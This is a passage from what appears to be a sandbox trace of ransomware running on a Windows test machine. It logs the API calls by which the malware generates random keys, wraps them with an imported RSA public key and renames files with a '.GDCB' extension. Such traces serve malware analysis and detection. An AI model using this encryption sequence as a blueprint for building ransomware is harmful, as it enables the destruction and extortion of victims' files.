CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0176.339] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.340] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.340] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.340] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0176.340] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0176.342] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655518) returned 1 [0176.342] CryptGetKeyParam (in: hKey=0x3655518, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.342] CryptEncrypt (in: hKey=0x3655518, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.342] GetLastError () returned 0x0 [0176.342] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.343] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0176.344] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655258) returned 1 [0176.344] CryptGetKeyParam (in: hKey=0x3655258, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.344] CryptEncrypt (in: hKey=0x3655258, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.344] GetLastError () returned 0x0 [0176.344] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0176.345] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lhniwsj-20171110-1726.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.347] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.348] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.349] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x1812, lpOverlapped=0x0) returned 1 [0176.354] VirtualAlloc (lpAddress=0x0, dwSize=0x1820, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.358] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lhniwsj-20171110-1726.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lhniwsj-20171110-1726.log.gdcb")) returned 1 [0176.363] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.364] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.365] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.365] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.365] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.365] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.366] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.366] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.366] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.366] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.367] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0176.369] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654f18) returned 1 [0176.369] CryptGetKeyParam (in: hKey=0x3654f18, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.369] CryptEncrypt (in: hKey=0x3654f18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.369] GetLastError () returned 0x0 [0176.369] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.369] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.370] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654f58) returned 1 [0176.371] CryptGetKeyParam (in: hKey=0x3654f58, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.371] CryptEncrypt (in: hKey=0x3654f58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.371] GetLastError () returned 0x0 [0176.371] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.371] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mlxrhrsyh8oofz222dl_.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.373] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.374] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.375] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x7915, lpOverlapped=0x0) returned 1 [0176.380] VirtualAlloc (lpAddress=0x0, dwSize=0x7920, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.384] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mlxrhrsyh8oofz222dl_.pps"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mlxrhrsyh8oofz222dl_.pps.gdcb")) returned 1 [0176.389] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.391] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.391] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.391] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.391] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.391] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.392] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.393] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.393] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.393] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.393] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.395] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655298) returned 1 [0176.395] CryptGetKeyParam (in: hKey=0x3655298, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.395] CryptEncrypt (in: hKey=0x3655298, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.395] GetLastError () returned 0x0 [0176.395] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.395] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.397] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654f98) returned 1 [0176.397] CryptGetKeyParam (in: hKey=0x3654f98, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.397] CryptEncrypt (in: hKey=0x3654f98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.397] GetLastError () returned 0x0 [0176.397] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.397] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbt tzy4ngk-nkuc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.400] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.401] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.401] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x13e5c, lpOverlapped=0x0) returned 1 [0176.406] VirtualAlloc (lpAddress=0x0, dwSize=0x13e60, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.411] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbt tzy4ngk-nkuc.mkv"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbt tzy4ngk-nkuc.mkv.gdcb")) returned 1 [0176.416] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.418] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.418] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.418] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.418] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.418] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0176.419] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.420] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.420] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.420] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.420] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.422] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3654fd8) returned 1 [0176.422] CryptGetKeyParam (in: hKey=0x3654fd8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.422] CryptEncrypt (in: hKey=0x3654fd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.422] GetLastError () returned 0x0 [0176.422] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.422] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.424] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655058) returned 1 [0176.424] CryptGetKeyParam (in: hKey=0x3655058, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.424] CryptEncrypt (in: hKey=0x3655058, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.424] GetLastError () returned 0x0 [0176.424] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.424] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbtzjjp_xephccevv8.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.427] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.427] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.428] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x1d4d, lpOverlapped=0x0) returned 1 [0176.433] VirtualAlloc (lpAddress=0x0, dwSize=0x1d50, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.442] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbtzjjp_xephccevv8.m4a"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbtzjjp_xephccevv8.m4a.gdcb")) returned 1 [0176.447] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0176.448] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.449] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.449] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.449] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0176.449] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.450] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.450] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.450] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.451] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0176.452] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655118) returned 1 [0176.453] CryptGetKeyParam (in: hKey=0x3655118, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.453] CryptEncrypt (in: hKey=0x3655118, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5200000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x5200000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0176.453] GetLastError () returned 0x0 [0176.453] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0176.453] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0176.455] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x36552d8) returned 1 [0176.455] CryptGetKeyParam (in: hKey=0x36552d8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0176.455] CryptEncrypt (in: hKey=0x36552d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5210000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x5210000*, pdwDataLen=0x285d630*=0x100) returned 1 [0176.455] GetLastError () returned 0x0 [0176.455] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.455] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nmk9pn0eeddrwu.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0176.457] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5220000 [0176.458] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5230000 [0176.459] ReadFile (in: hFile=0x510, lpBuffer=0x5230000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x5230000*, lpNumberOfBytesRead=0x285d670*=0x5cb2, lpOverlapped=0x0) returned 1 [0176.464] VirtualAlloc (lpAddress=0x0, dwSize=0x5cc0, flAllocationType=0x3000, flProtect=0x4) returned 0x5340000 [0176.468] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nmk9pn0eeddrwu.xlsx"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nmk9pn0eeddrwu.xlsx.gdcb")) returned 1 [0176.473] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.475] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.475] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.475] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0176.475] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.475] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0176.476] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0176.477] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0176.477] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0176.477] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0176.477] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0176.479] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x3655098) returned 1 [0176.479] CryptGetKeyParam (in: hKey=0x3655098, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, 